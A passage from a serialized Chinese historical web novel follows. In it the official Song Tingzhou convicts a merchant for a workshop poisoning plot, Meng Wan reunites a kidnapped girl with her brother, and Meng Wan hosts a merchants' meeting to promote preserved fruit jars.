掌柜的唯唯诺诺,有口难言,“老爷,咱们铺子去年几个大单子后续都没能交得上货……”赔了钱不说,那些人干脆直接去了对面余家订货,他们不光损失了这一批的大主顾,反而成全了对家。 这些都是掌柜的肚子里的心里话,哪怕他不敢和覃斡明说,对方心里也明白始末。 覃斡望着街对面的铺子呼吸粗重,“余家背后连个靠山都没有,他们拿什么跟我斗?等宋……” “覃斡!跟我们走一趟。”几名捕快冲进覃家铺子,上前便制住了正在痴心妄想的覃斡。 覃斡大喊:“你们敢!我们覃家的亲家可是曾知府,谁敢对我动粗!” 他这样一叫嚷,那几个捕快的动作竟然真的迟疑起来。 但从外面进来的陶八和陶十可不管什么曾知府,他们只认宋亭舟。二话没说捆了覃斡就抓回府衙。 曾知府知道消息的时候,覃斡已经进了牢房。 他在内衙来回踱步,思前想后还是请了宋亭舟过来议事。 “景行啊,你也知道覃家和我的关系,要不然……” 宋亭舟黑若深潭的眸子直直看过来,“曾知府是什么意思?” 对着那样一双深沉的眼,仿佛被洞悉了所有的想法,曾知府的话怎么也说不出口,“我……唉!” 他眉间的褶皱挤在一起,又凭空添上了几道苍老的皱纹,良久过后才松懈下来,无力的说:“罢了,为了避嫌,这桩案子本官便不上公堂了。宋大人,接下来便全权交由你吧。” 曾知府步履蹒跚,颇有些心灰意懒的姿态。 “曾知府,你初至岭南只是一个小小知县。这么多年过去,旁人都被调走,你已知天命才熬到知府这个位置,是因为你一心为民而不舍离开吗?不是,是因为你能力不足,万事敷衍,只求明哲保身,从未想过百姓处境,所以才只能困顿在此。” 宋亭舟语气中并不轻蔑,他只是在陈述事实,可说出的话却一针见血,直戳曾知府的痛处。 覃斡和壵寨的事曾知府怎么可能不知?覃家短短几十年便能走到如今的地位,是因为有能力吗?这位老好人知府又在其中给了覃斡多少便利?恐怕只有他自己清楚。 所以,这会儿做这副姿态,未免有些恶心人了。 曾知府背对着宋亭舟的脸上是被戳破了心思的慌乱,他眼皮不安的跳动。这个宽容和蔼的老人,连自己都没想到过自己会是宋亭舟话语中这样的人。 也可能他早就知道,只是下意识将其掩盖住了。 覃斡被押上公堂,看到上首明镜高悬牌匾下,坐着的是宋亭舟而非曾知府后,像是被抽走了浑身的骨头,一股脑的瘫跪在地上。 搜寻钱椿的这几日功夫,捕快们早就找到那几日卖过毒草的药铺。抓获了十来个牵扯案子的伙计、乞丐、小贩和农妇,经过审问,他们无一例外全是被覃家的管家用钱收买行事。 而覃家管家,也已经在严刑峻法之下将所有的事都交代了一清二楚,覃家甚至现在库房里还有用剩下没来得及处理的毒草汁水。 陈照磨姐姐、王管事、车队领头、钱椿、覃家管家,这些人提供的人证、物证、供词齐全。覃斡就是把岭南官职最高的承宣布政使请来,当下也无济于事。 宋亭舟雷厉风行的断了案子,下毒未遂罪不至死,但像工坊投毒,情形恶劣者便是大理寺来审也不可能轻易放过。 宋亭舟判了覃斡斩刑,还要双倍赔偿孟晚五千瓶橘子罐头的损失,和双倍赔偿果农的八车橘子。 橘子好说,岭南做为各种橘子产地,本钱不多。但孟晚的五千瓶罐头,谁都没想到定价是一两银子一罐,这还是批发价。 覃斡儿子们不服,还要宋亭舟再审,宋亭舟直接将琉璃罐子摆在公堂上。 “此乃皇室御用之物,孟东家经得太子殿下同意才敢售卖。你是觉得皇室的东西,值不上一两银子吗?” 谁又敢顺着宋亭舟的话承认皇室东西一文不值?甚至一两银子都算不得什么高价。覃家只好咬牙赔付孟晚一万两白银和八车橘子的钱。 经此一遭,覃家卖了十几家铺子,生意也大大缩水。覃斡平时除了死对头余家,没少打压其他府城富商,如今他家出了事,那些和覃家有过节的商人纷纷扑上来落井下石。不过两月的功夫,这个盘踞府城的庞然大物便已经泯灭于众,沦为三等小商贾。 “宋大人,宋大人您听我说,小人只是一时糊涂,才会被覃家人蒙蔽的啊!”陈照磨的姐姐还在服劳役,他这个鼓动人心的只因受贿丢了官反而在外痴缠。 宋亭舟一脸冷漠,与这种人多说一句都嫌浪费口舌。不外乎是贪图覃家与曾知府之间的关系,并承诺自己下台之后,让他从小小照磨往上升一阶。 贪心不足蛇吞象,连亲姐姐都坑害,从此往后谁还敢用他? “大人,布政使司的人来了。”陶十一快马从衙门过来喊宋亭舟。 宋亭舟甩开纠缠不清的陈照磨,同陶十一又回了衙门。 晚上宋家的饭食都已经准备好,宋亭舟却还是没回来。阿砚望着桌上的饭菜,深深吸了一口,把孟晚逗笑了,“大宝,你这是做什么?” 阿砚十分诚实的说:“阿砚饿了。” 他揉了揉肚子,“我爹什么时候才回来呀?” 常金花给他夹了个鸡腿,“饿了就先吃,不必非要等着你爹。” 阿砚对着鸡腿咽了咽口水,但还是板起小脸,义正言辞的拒绝,“爹爹没来,阿砚不能先吃!” 楚辞递给他一小碟子杏脯,阿砚比拒绝鸡腿还快的拒绝了。 孟晚还能不了解自己儿子? “小辞,拿回去吧,阿砚还等着多吃几个鸡腿呢,这碟子杏脯吃完,他怕饭菜会少吃。” 阿砚捧着红红的小脸,“也不是啦,是因为祖母做的饭菜太香了!” 今晚常金花掌厨,被孙子捧扬自然高兴,“爱吃祖母明天还给你做。” 一家子开开心心的围着饭桌说话,屋外传来黄叶的声音,“大人,您回来了,小公子都等急了。” 孟晚起身去接宋亭舟,却没有对方步子快。宋亭舟大步踏进屋子,两人正好撞在一起。 揽着孟晚的腰身,宋亭舟上钩的嘴角显示他当下的好心情,“都在等我?开饭吧娘。” “好,都坐下吃饭吧。小辞,祖母给你也夹个鸡腿。”常金花动筷给楚辞也夹了个鸡腿。 孟晚帮宋亭舟添了碗米饭,“可是有什么喜事?” 宋亭舟净了手坐到他身边的位置上,接过他递过来的大号饭碗,“承宣布政使司来人了,朝廷下了诏令到承宣布政使。” 孟晚立即便想到其中关窍,“吏部升了你的职位?强制让曾知府致仕了?” 宋亭舟想到最近将府衙事务都推托给自己的曾知府,“不,应当是曾知府主动递了致仕的折子。” 孟晚心想:算他识相,自己致仕总比被下台仕好看。 常金花满心欢喜,“大郎这是……又升官了?”哪怕她不懂朝堂,也知晓升官不是那么容易的。当初到赫山县之后,她都做好半辈子都留在这里的准备了,怎料才三年又挪了地儿。 旁人升官求爷爷告奶奶的,怎么到她儿子这里这么随便? 今天肉菜多,孟晚笑嘻嘻的帮她用小碗舀了一碗青菜汤,“夫君升到知府了,开不开心?” “开心是开心。”儿子有本事,如今是顶大的官了,当娘的怎么会不喜悦? “咱们是不是也要设宴啊?”常金花一朝变成知府大人的娘,一时半刻适应不过来,怪别扭的。 宋亭舟安慰她道:“娘,不必了,我们家以前如何,现在还是如何。只是行事注意,不要被人抓了把柄就好。” “好好,娘知道。”常金花碗里的饭都不香了,脑子里开始想东想西,孟晚给她夹什么她吃什么。 但之后的日子确实如宋亭舟所说,并无太大变化,曾家人收拾了行装,准备回乡养老。北地离这里天南地北,恐怕此生都不会回来了。 好歹上司一扬,宋亭舟和孟晚去给曾家人送行。除了他们夫夫二人外,竟也没有几个熟人过来。人走茶凉,不外乎是。 孟晚走至小覃氏身侧,“小覃夫人,鹃娘你还是不要带走了。” 覃家现在一团乱麻,小覃氏要走都没人过来送她。她心中恨孟晚入骨,却再无往日嚣张气焰,只能警惕的问:“孟夫郎是什么意思?我自己女儿还不能带走了?”说完后她满腹委屈和嫉恨,语气中不免带上些情绪,被一直关注二人,怕她临走还惹麻烦的曾老夫人狠狠扯了一把。 “鹃娘是不是你的女儿,你自己应该最清楚。我也是最近才想到,她与我一个朋友的妹妹年岁吻合,只是长相已有变化。”孟晚对身后神色激动的董懂招了招手。 “你!”小覃氏本想说他欺人太甚,鹃娘一个被买来的孩子,怎么可能这么巧就遇到了亲人。 但曾老夫人不等她说完,已经叫丫鬟将鹃娘抱下马车,“还望孟夫郎见谅,我家孙媳儿多年无子,这才找了这么个偏方。既然是有亲人的孩子,便把她还给她的家人吧,也算是全了她叫我几年祖母的情分。” 孟晚对曾老夫人客客气气的行了一礼,“老夫人客气了,我这边也不确认,只是小覃夫人若是不喜欢鹃娘这个孩子,强行带走也没什么意思。” 瘦死的骆驼比马大,曾家就是没人入仕,这些年也是积攒些家底的,回乡踏实过日子仍是一方员外郎。要是小覃氏对鹃娘好些,也是好日子。 但小覃氏脾气暴戾,覃家败落之后她远走他乡,只怕鹃娘更没有什么好日子过。便是她不是董懂的妹妹,孟晚也有心插手留下她。 “娟娘?”董懂试探的叫了一声一脸迷茫鹃娘,越是细看,就愈发觉得她想自己妹妹。 “你还记得哥哥吗?你还记不记得咱们家的房角上有燕子?院里还有两棵桃树?” 鹃娘一脸迷茫,有些畏缩想躲到小覃氏后面去,又怕她打自己。 孟晚十分有耐心的说道:“鹃娘,你先过来下,这个哥哥有可能是你的亲哥哥,接下来他问什么,你就答什么好吗?” 鹃娘今年已经六岁,她早就知道自己不是小覃氏的孩子。但她离了曾家又该去哪里呢?比起整日挨打,她更怕未知的未来。 慢慢吞吞的走到孟晚面前,被他拉着手。孟晚又对董懂说:“别光愣着啊!鹃娘被拐的时候年纪小,很多事肯定没什么印象了,你记不记得她身上有没有什么胎记之类的?” 经他一提醒,董懂瞬间想到了什么,他忙道:“有有!我还记得她小时候,带她的婆子偷了懒,鹃娘从榻上掉到了地上去,后背磕到了床柱上留了老长一道伤疤!” 小覃氏心里咯噔一声,鹃娘后背确实有一道疤,只不过颜色浅淡,不是特别明显。 孟晚光看小覃氏的表情就已经确定了七分,叫上董懂去马车里看鹃娘后背。 衣裳半褪的瞬间,董懂的眼泪顷刻决堤,不光是因为鹃娘后背与他妹妹一模一样的疤痕,更是因为她瘦骨伶仃的身体上,遍布了各种大大小小的伤痕。 第26章 商会 鹃娘不知所措的看向孟晚,她记得上次被母亲当众打骂的时候,是孟晚为她出头。而且她能感觉到,母亲和祖母都怕他。 孟晚摸摸她的脑袋,“鹃娘,你应当知道小覃氏不是你亲娘吧?” 鹃娘无声的点了点头。 “这个董懂哥哥呢,他妹妹前些年也丢失了,和你年岁一模一样,后背的胎记也一样……”孟晚说着说着,发现鹃娘的嘴巴确实长得有些像董懂。但她实在太瘦了,有些瘦脱了相,和脸蛋圆圆的董懂便只有这么一点相似的地方也看不大出来了。 鹃娘眼眶一热,“那董懂哥哥是我的亲哥哥吗?”她也是渴望亲人的。在曾家,她表面上是小姐,可实际上没有人将她当作亲人,连下人也都背地里取笑她。 董懂自从见了鹃娘身上的伤,眼泪就没断过,“你是我妹妹,叫董娟儿,娟秀的娟。” 娟娘摸着眼睛崩溃大哭,“可他们说我叫招娣!” 董懂心疼的无以复加,他抱着妹妹一遍遍的重复,“你叫董娟儿,是爹娘的珍宝,不是什么招娣,不是……” 孟晚跳下车,将这一方小小的天地留给这对苦命的兄妹。 那边的曾老夫人见状已经懂了孟晚的意思,招呼着不甘心的小覃氏告辞离去。 董懂兄妹俩占用了马车,孟晚想让他们多相处相处,便上了宋亭舟的马,让他带着自己回去。 “在府城到底是比赫山县便利,之后再找找,没准能再找到几个孩子。到底我答应了她们,便该尽心尽力。”孟晚靠在宋亭舟身上,听着马车里隐隐飘出的啜泣声,心中不免动容。有了阿砚之后,他好像对小孩越来越有耐心了。 宋亭舟揽着他,不紧不慢的拉动着缰绳,朗声说道:“之后将县、镇各自贴上寻人的告示,上述悬赏。就是为了钱,也会有人积极找寻的。” 孟晚侧仰着头看他线条流畅的下颌,弯起眼睛说:“算算日子,三叔也该来了。” 宋亭舟低头对上他的笑脸,也跟着笑了,“前几日昭远和泽宁一起送信过来,他们在京中一切还好。”最重要的是,他那个光棍大舅哥终于成亲了。当然,这种微不足道的消息就没必要告诉晚儿了。 说到信,孟晚也想到了这几日家里收到的信,“老家里宋家的孩子,有几个考上了秀才和童生的。族长话里的意思,有几个还想接着往上考,余下的都已经到极致,不得寸进,便也不想再考了。” 宋亭舟思量片刻,“我已向朝廷奏折,推举整个西梧府施行摊丁入亩。你开办工坊又带动了大批平民生计,百姓安居乐业,也是时候向乡镇和山寨推行读书识字了。” 特别是壵、瑶、鹋、三族,连基本沟通都难,起码要在寨子里普及禹国官话。 孟晚在马背上颠着,很快入了城中,看着百业待兴的商铺和眼中充满期望的百姓,他瞬间领悟了宋亭舟的意思,“你是想将他们叫来西梧?背井离乡,也不知他们愿不愿意?” 到了家门口,宋亭舟先下了马,再接孟晚下来,“晚上我便写信回去询问,愿意来的,咱们帮他们在当地安家,一应待遇,比在泉水镇高上一成。” 西梧府的读书人实在太少,凑齐几十上百位夫子还真有些困难。自家若是能填补上最好,若是不能,便再去别处请人。 天色还早,将孟晚送回来后宋亭舟直接去了衙门办公。 董懂和娟娘兄妹俩都哭肿了眼睛,特别是娟娘,年岁还小,又经历了大起大落。哪怕董懂疼惜她,她心中也不免忐忑。 “娟娘,你放宽心,你哥哥是藕坊里的管事,挣得钱不少,足够好好养活你。”孟晚语调轻松的和小姑娘说话。 董懂把怀里的帕子递给妹妹,听到孟晚的话破涕为笑,“哥哥再有一年,便能攒够钱买座小院了,到时候我们就在赫山安家。” “家”这个字最简单的表达只有两个,房子和家人。简简单单,给人无穷力量和希望。 娟娘就这样带着冒出一点点小触角的憧憬,惴惴不安的和董懂回了赫山。 初阳渐升,孟晚望着他们相偕的背影,露出一抹浅笑。能亲眼见到所有人越走越好,同样将他自己的心,也填补的满满当当。 唐妗霜从工坊的方向过来,见他沐浴在橘色的暖阳下,熠熠发光的模样,不禁也倒吸一口冷气。他这位东家,从心性、手段、眼界和容貌,真是挑不出一点错处来,只不过有时候人有些恶趣味罢了。 “呦,你怎么有空过来,那个小余不缠着你了?” 唐妗霜垂下脑袋,好吧,开始了。 PC站点如章节文字不全请用手机访问 “咳,东家,董懂走了吗?”唐妗霜生硬的岔开话题。 孟晚眺望远方,“走了,带着他妹妹一起回了赫山县,和商队的车一起走的,桂诚也被我叫去送他们了。” “竟然真是他妹妹。”唐妗霜也替董懂高兴。 “但他和陈大牛刚定亲,娟娘她……” 孟晚自然知道他在担心什么,“放心吧,陈家人我看不错,连邻居的孩子都养,怎么可能容不下个娟娘?等懂哥儿和大牛成亲的时候你回去看看,顺便替我送贺礼。” “我信东家的眼光。”唐妗霜可能是早年的经历不好,总是有这样那样的顾虑,但毫无疑问的,他无比信任孟晚。 孟晚拍拍他肩膀,调侃道:“等以后你成亲,我送份更大的。” 唐妗霜麻木的说:“我一辈子替东家效力,永不成婚。” 孟晚无奈了,他身边这几个都怎么的,一个两个都这样说,“我虽然尊重你的选择,但也希望你不要被过去的阴霾裹挟,有合适的还是要试试嘛,我看那个小余就不错。” 唐妗霜把脸扭过去,满脸抗拒。 “好好好,我不说了。商会的事筹备的怎么样了?该通知的都通知了吗?”孟晚态度正经起来。 唐妗霜来找他就是为了这事,“除了覃家,府城、县城、和各个镇上的商贾,能通知到的都通知了。昨天便有商人陆续赶到府城来,想必能准时参加商会的人会很多。” 孟晚把腰上挂的玉佩拿在手里玩,“我曾听我师公和三叔说过,扬州的商人自发组织商会。他们按照行业分成大大小小各种商会,大的带小的,小的依附大的。联合起来把控了扬州几乎九成的买卖。” 唐妗霜看着他沉静下来冷肃的脸,莫名觉得有些像平时冷脸的宋亭舟,“我们也要联合大小商会,统一西梧府的买卖吗?” “不。”孟晚飞快否定,他要的从来都不是规整西梧府商贩,打压外来商人。而是让西梧府,乃至整个岭南与他地商贸互通。 孟晚掷地有声,“我不管他们要不要私下成立商会,我集齐西梧府商人的意思很简单,让他们把眼光从自己的一亩三分地放长到外面去。” ——三天后,西梧府第一次商会。 三月份的岭南还没正式进入梅雨季节,但气温回升,降雨已经有所增加。今天的天色就很暗沉,时不时便落下几滴雨珠。 珍罐坊前面的大片空地上,不知道什么时候盖好了十二座造型简约的六角木亭,每座木亭里都摆放了一张竹编桌子,和围成一圈的十把竹椅。 西梧府大大小小的商贾虽然不是全部到齐,但孟晚知府夫郎的名头,也让这十二座木亭坐满了九座。 他们按照先来后到随意坐在竹椅上,对最中间与众人相对而坐的孟晚提出质疑。 “孟夫郎的意思……恕我等愚钝,实在不解其意。” 孟晚今日穿了一身暗红色对襟长袍,脑后挽了个造型简单的发鬓,配上一支坠着宝珠的金钗。不是多么花哨的装扮,工艺还算精湛,但盖不住他张扬飒爽的气质。这会儿孟晚不像是个官夫郎,反倒像是浸淫商扬多年的掌控者。 他坐在这么多或老或少的商人中间,顶着他们不屑、怀疑、好奇、打量的目光,单刀直入的说:“钦州的菠萝、柳州的杨梅、廉州的庵摩勒(芒果)、南宁的香蕉、西梧的荔枝和橘子……你们还没发现吗?我们脚下这片被其他地方嘲笑的土地,其实物资丰富,有禹国各地想象不到的各类物种。” 有个小商随口嘟囔了一句,“都是些不值钱又运不出去的果子罢了。” 其他人没有说话,但显然也是这样想的。他们是因为覃家的败落和宋亭舟的官位害怕了,而不是真的心服口服孟晚,才来参加这个由小哥儿主持的、可笑的商会。 孟晚坐在中间的亭子里,身边是贴身保护他的雪生、唐妗霜、黄叶、与七八位工坊里的管事。 “我知道各位中流传着我不通经商的名声,实际上,我除了经营赫山的糖坊、藕坊和身后这三座工坊外,确实没什么正经铺面买卖。” 孟晚没有夸大,也没有炫耀的意思,他只是在陈述事实。话说出来,所有亭子里质疑的声音消失了。 西梧府这三座工厂当初轰轰烈烈建起来的时候,众人是极为意外和钦佩的。但后续珍罐坊并没有带来盈利,反而是孟晚自掏腰包往里数不尽数的搭钱。再加上小覃氏的刻意煽动,民间便流传出一些对孟晚不利的传言出来,直到曾知府致仕和覃家倒台,这些声音才不敢放到明面上来。 PC站点如章节文字不全请用手机访问 可他们是不是忘了,整个岭南如今最火热,最挣钱的赫山糖坊,同样出自这位孟夫郎之手。还有神秘莫测,只卖给外来商贩的藕坊,更是不知盈利多少。他们担心孟晚胡搞的时候,对方已经赚了他们这辈子都赚不到的钱。 见众人沉默,孟晚淡然吩咐,“妗霜,叫人把东西给管事们发下去。” 唐妗霜领命退下,不一会又从珍罐坊重新出来,后面跟着十来个工人,简单粗暴的拎着竹篮,往每座亭子中间的桌上都摆上了两瓶罐头和十个碗、勺。 “众位有些消息灵通,可能已经知道我身后三座工坊都生产的是何物。可大部分人应当都还不知,今天就趁大家都在告诉大家,珍罐坊生产之物便是诸位面前的果珍罐。” 孟晚站起来,捧起一瓶果珍罐来,从它外层的竹编套子上取出一个配套的竹片开口器来,“诸位可以将此物取出,放在瓶口的位置,稍微用力……” “啵”的一声,盖子被起开。 所有人都忘了刚才那点小小的不愉快,专心致志的看着面前的精巧吃食,他们也是头一次见识这般奇特巧妙的物件。里面吃的暂且不提,光是外包装就能看出是花了心思的。 不用孟晚多说,盖子开启之后,大家都不约而同的分食起罐中之物。 “味道尚可,有些甜腻,女子小哥儿应当爱食。” “汁水充沛,汤水粘稠,还挺好喝。” “我还是更爱吃新鲜橘子。” “我倒是觉得比新鲜橘子更方便实用。” 大家七嘴八舌的议论开来,孟晚听着他们七嘴八舌的讨论声,唇边缓缓荡起意一丝笑意,他抚了抚掌,清脆的巴掌声将众人的目光都吸引过来。 “那大家可知,你们吃的这果珍罐,从制成到现在,已经放置了四个多月。” 他这话一出,在扬所有人都震惊了,甚至有人不顾形象的站起来跳脚。 “什么!孟夫郎你是何意?你把放了四个多月的东西给我们……你你你!我……” 孟晚当着他们的面自己吃了一块面前的橘子罐头,堵住了他们的话头。 “我难不成还会毒害诸位不成?我面前的果珍罐,最多可存放六月而不腐!” 那些商人从没听过这般不可思议之事,但回想刚才入口的口感,又不得不信。 “真……真的能放六个月?” “难不成是用糖的甜味盖住果子的腐气?” “不对不对,果子是好是坏还是能品的出来的,罐中之物绝对没坏。” “那就是孟夫郎骗了咱们,这东西是刚出产出来的,并没放到四月之久。” “这……” 孟夫郎千方百计将他们聚集起来,骗他们又有什么好处?众人心中已经隐隐相信,孟晚创建的珍罐坊,还真的有奇特之地。 PC站点如章节文字不全请用手机访问 第27章 哥儿大三,抱金砖。 孟晚指了指他身后的其中一座工坊,“灌玉坊在京都只供皇室,太子殿下给了我这个特权,虽然只能做吃食的容器,但诸位应当知道这意味着什么。”虽然太子殿下没有明说,但孟晚是个谨慎的人。起码他不可能在得到灌玉坊工人后,生产精致的琉璃器物和皇室打擂台,除非他嫌自己死的不够快。 牵扯到高不可攀的皇室,那些商人老实的不能再老实,像小学生一样正襟危坐,再也没有胡乱插话,只等着孟晚给他们讲解。 孟晚很满意他们的识相,因为某些原因,之后他不想过多出面。这次镇住这些商人,下次商会,应当就用不着他亲自出马了。 想到这里,他也不绕弯子,“橘子做成的果珍罐能保存六月而不腐,大家也算亲自见过了。实际上若是保存得当,甚至能再多放两月。橘子如此,在盛京价值千两的荔枝,自然也可如此。” 商会进行到这里,终于突出了重点。 若说之前岭南还有什么值得上层人惦记的,那便是一斤可抵千两白银,甚至拿着银子都买不到的荔枝了。 每运输一次,就要消耗极为庞大的人力和物力,相当劳民伤财。本朝皇上自登基以来,也不过吃上过一次,更遑论普通的黎民百姓了。 若荔枝六月而不腐,天啊!简直难以想象能带来多大的利润!!! 孟晚伸出一个白皙纤长的手指,“一瓶荔枝做的果珍罐,从珍罐坊卖出去,十两银子。” 还以为是一百两银子的商人们,被吊起来心又重重的落了下去。他们是当地人,自然知道本地荔枝不值钱,果农们也只是勉强糊口。真正值钱的东西是防腐工序,而这道工序从表面上看来似乎是琉璃瓶。 偏偏琉璃是白送他们,他们也不敢乱生产的东西,还真的只能在孟晚这里买。 心思活泛的已经在想,假如从孟夫郎手里大批购入荔枝做得果珍罐,再运输到盛京城卖。把耗费的人力、路损刨除,卖多少两银子才能大赚一笔。 “不光荔枝,我开始就和大家说了,钦州的菠萝、柳州的杨梅、廉州的庵摩勒(芒果)、南宁的香蕉……”孟晚拨弄手指,最后统统拢入掌心,“这些东西,我全都要卖到禹国各地去。” “钦州的菠萝和柳州的杨梅可做成果珍罐,廉州的庵摩勒和南宁的香蕉可以做成果干。后续我若是收到后面两地的单子,自然会再修建一座大型晒晾厂。” “诸位,话我放到这儿了,你们都不是蠢人,敢不敢跟我干上一票?” 雨水渐急,滴滴答答一连串的雨声却没有在扬众人的心跳跳动的快速。亭子里的商人们除了雨声,还能听到身边同伴吞咽口水的“咕嘟”声。 有年纪轻敢想敢为的年轻商人本来只是父辈打发来见世面的,这会儿眼睛里一片血红,若不是身旁的世伯扯着,只怕都要跑到孟晚面前去应下了。 “东家,我想做!”小余突然从工厂里顶着雨跑过来。 他爹余汖也在亭子里坐着,这群老油条不是不心动,只是光有孟晚嘴上说说,后续工坊收各类果子的价格怎么算?工坊能吃透多少果子?万一他们费尽心思与其他地方的果农达成合作后,孟夫郎一个心血来潮又不干了,他们该如何? 有太多未知的问题需要商谈妥当,谁知第一个冲出来的愣头青就是自己儿子! “老余,那不是你家彦东吗?他怎么这副打扮?” “你个滑头,我懂了,你把你儿子送去珍罐坊做工了!” “什么?欸……不愧是老余啊!” “除了他,谁能想到这法子!” 余汖被身旁老友们调笑,三句两句的揭了老底,嘴角眉梢都泛起苦涩的笑意,“你们就别看我笑话了,我儿子都说要做了,我们余家怎么也要率先响应孟夫郎买卖。” 他冲几人拱拱手,“老哥哥们,我这就去了,你们再好好想想吧。” 最中心的亭子里,唐妗霜正一脸见鬼似的表情看着小余,“你?要跟东家做买卖?” 孟晚是听雪生说过珍罐坊有个小年轻最近缠唐妗霜缠得紧,但并不知道小余的真实身份,他虽然聪明,但是也没办法做到真正的手眼通天,像先知似的什么都懂。 他饶有兴致的对小余说:“你想怎么和我做买卖?” 孟晚虽然常爱笑着同人说话,但浑身的压迫力可比唐妗霜这样一直冷着脸的管事强多了。 PC站点如章节文字不全请用手机访问 小余有些不敢直视他双眼,兴奋上头的大脑这会儿冷却了一半,磕磕巴巴的说:“我……我想……” “彦东!”余汖撑着把伞过来叫小余。 孟晚起身相迎,颇为意外的询问,“小余是余员外的子侄?” 余汖进亭子后,先是客客气气的对孟晚弯腰行礼,后才拍拍儿子后背,“让孟夫郎见笑了,彦东是我次子。” 他怕引起孟晚误会,不等对方发问便主动交代,“不过他来珍罐坊上工确实是我的主意。您也看到了,这小子性子急,人又直白。我本想让他在您的工坊里磨炼一二,并无其余妄想,他自从入了珍罐坊后,也一直没回过家。” 孟晚觉得这个余员外有点意思,招呼他坐下说话,“余员外不必紧张,我又不是什么是非不分的人,你敢把儿子放到我旗下工坊历练,说明是看重珍罐坊的发展,我高兴还来不及呢。”他说完话锋一转,“但覃家败落后,你们余家可以说是整个西梧府最有分量的商户,我还确实需要你来表个态,带个头。” 他说话虽然客气,但语气中满是不可置疑,想来刚才就是余彦东没有站出来,孟晚也会主动找上余家。 余汖是个有决断的当家人,不然也不会不顾妻子老娘的数落和阻拦,硬是把次子塞到工坊里做工人。他只犹豫了不到三秒的功夫,便已经决定好向孟晚投诚。 “能跟着孟夫郎做买卖,是我们余家的荣幸。我家虽是靠布匹发家,旁的生意却也有沾染,不知孟夫郎的意思是……”余汖紧盯孟晚双眸,生怕那句话让这位本领了得的夫郎不满。 孟晚也没客气,指了指余彦东道:“我看小余就不错,不然把他借我用用?” 甭管乐不乐意,余汖面上都是一片喜色,“孟夫郎看上犬子是他的福气,有用得到的地方,您只管提。” 孟晚不紧不慢地继续吃面前的橘子罐头,“我想让小余集结一支商队,今后专门负责运输果子和成品果珍罐。” “组织商队?”余汖面露惊讶。 不是他看不起自己儿子,而是组织商队是个不甚简单的活,不是光找人跑商就行了。胆子、谋略、处事不惊、熟通道路、各种商品价格、怎么与人谈买卖生意。便是他家的商队,也是磨炼许久才磨炼出来那么一批人。他儿子初出茅庐,就这么上路的话,不得被人骗的连渣都不剩? 孟晚自然知道组织商队多难,看祝三爷每年风里来雨里去的就懂了,有两次还遇上了山匪。幸好他的商队里,大部分人都是当初祝四爷手底下的镖师,各个人高马大应是杀出一条路去,不然人可能没事,一年的辛苦钱可能却没了。 孟晚想组织的商队,却又不是一般的商队,目前摊子还没铺成,暂时还没必要详说。 “余家有自己的布庄和染坊,我倒是想起了另外一桩生意,不知道余员外感不感兴趣?” 余汖很给面子,“孟夫郎但说无妨。” 孟晚将壵寨的土布和壵锦的事说了,壵锦并非旁人不能学会,只是工序更复杂些而已。达尼妹的小铺子和余家合作会利益更大化,也能将壵族人织的精美布匹卖到更远的地方去。有他在中间看着,余家人是不敢欺骗她和壵族人的。 之后陆陆续续又有其他商人过来找孟晚,都是商量些收果子,或者是从孟晚手里买成品到其他地方贩卖的事,他们无一不从孟晚这里得到了满意的答案。 等以后收果子的人多了,普通百姓看到果子带来的利益,便会自发承包荒山种植果园。中间商人再倒手卖到工厂来。由工厂加工完成后再被另一批商人接力卖出去,形成一条完美的输送带,带动西梧府乃至整个岭南的果业。 现在孟晚要做的,只是带领大家各司其职,相互磨合起来。 雨水越下越急,亭子里的商人开始逐渐离开,也有的撑着伞被工坊的管事们带去参观工坊。 孟晚在亭子里将开启的罐头全部吃光后,便托着下巴对着连绵不绝的雨幕发呆。他脑海里想着杂七杂八的各种事宜,直到雪生轻声提醒,“夫郎,好像是大人过来接你了。” “啊?”孟晚将脑子里的东西都甩飞,猛地站起来双手撑住桌子往外望。 白茫茫的雾气越往上颜色越接近布着雨的乌云,十米之内外的人影都看不真切。宋亭舟乘坐的马车都赶到了亭子边上,大家才知晓他来了。 陶十一穿着蓑衣赶车,但是雨水太大,他仍是湿了半边身子,“夫郎,这么大的雨,有人来参加你的商会吗?” 他真情实感的担忧,下一秒就被身后的宋亭舟踹到了一边去。 “天气不好,人少也是常理,改日不如将人都叫到家里去。”宋亭舟合上雨伞竖立着戳到木柱上,手上拿了个被包裹的严严实实的食盒,语气淡定的对孟晚说道。 孟晚怎么会听不出他话语中的安慰,牵着他手坐下,“安心,都来的差不多了,只是雨下的太大,我叫大家先回城里了。” PC站点如章节文字不全请用手机访问 他又恢复成刚才发呆的样子,单手托腮面对宋亭舟说话,只是眼中不是放空的迷茫,而是双眸里堆满了甜蜜的笑意。 都忘了从什么时候开始了,面前这位一直都很喜欢接他回家。 “都走了?谈的怎么样?”宋亭舟暗自松了口气,虽然知道他们只是凡人,不可能所有事都尽如人意,但他真的想让孟晚一路平坦,事事顺心。 孟晚看他那张看了快十年都没厌倦的帅脸,唇角自然而然的上翘,“还不错,他们怕我向你告状,各个都很配合。” “呵。”宋亭舟轻笑,能护住孟晚不受外人的气,他心底不知道多满足。 桌上的食盒被他打开,里面是两屉饺子、一碟子桂花糕、一碟子千层糕、还有用小瓶子装的陈醋。 “哇,怎么还有饺子啊!”孟晚在亭子里坐了大半天,除了一瓶罐头什么也没吃,这会儿还真有点饿。 “今日下雨,我让他们都散了。也没回家,在衙门附近的摊位上买的饺子,你尝尝好不好吃。”宋亭舟把碗筷也从布袋里拿出来替他摆好。 孟晚迫不及待的夹了一个到碗里,又倒了小点的醋进去,饺子被包的皮薄馅大,一口下去满满的肉香溢出口腔。他几口吃完一个,幸福的眯起眼睛,“好吃好吃,以前府城好像没有饺子店吧?” 宋亭舟又给他夹了一个到碗里,“前日新开的,摊主是北方人,儿子过来做买卖,老两口就开了个小摊子专门卖饺子。” “不错,和娘做的差不多。”孟晚夹起一个没蘸过醋的饺子到宋亭舟嘴边喂了他一口,“你也吃几个吧,免得我吃不完还要收拾。” 他们俩分着饺子吃,总不能让其他人干巴巴的看着。宋亭舟将糕点给亭子里的几人分了,“点心给晚儿留一块千层糕,剩下你们分食了吧。” 雪生对此已经见怪不怪,坐到最远处观雨吃糕。剩下性子跳脱的陶十一和这个说两句话,又和那个搭一句腔。 唐妗霜站到雪生身后,似有些不好意思待在孟晚身边,“东家和宋大人,一直这样……这样亲密吗?” 雪生吃完手上的糕拍了拍手,“许多年了,从未变过。” 唐妗霜轻叹着感慨,“真好啊……”经历了这么多苦难,让他一度以为自己身处地狱,却没想到还能让他见识世间的美好情感。 “唐管事!那个……你见过我爹了吧。”身后一道煞风景的声音突然插进来。 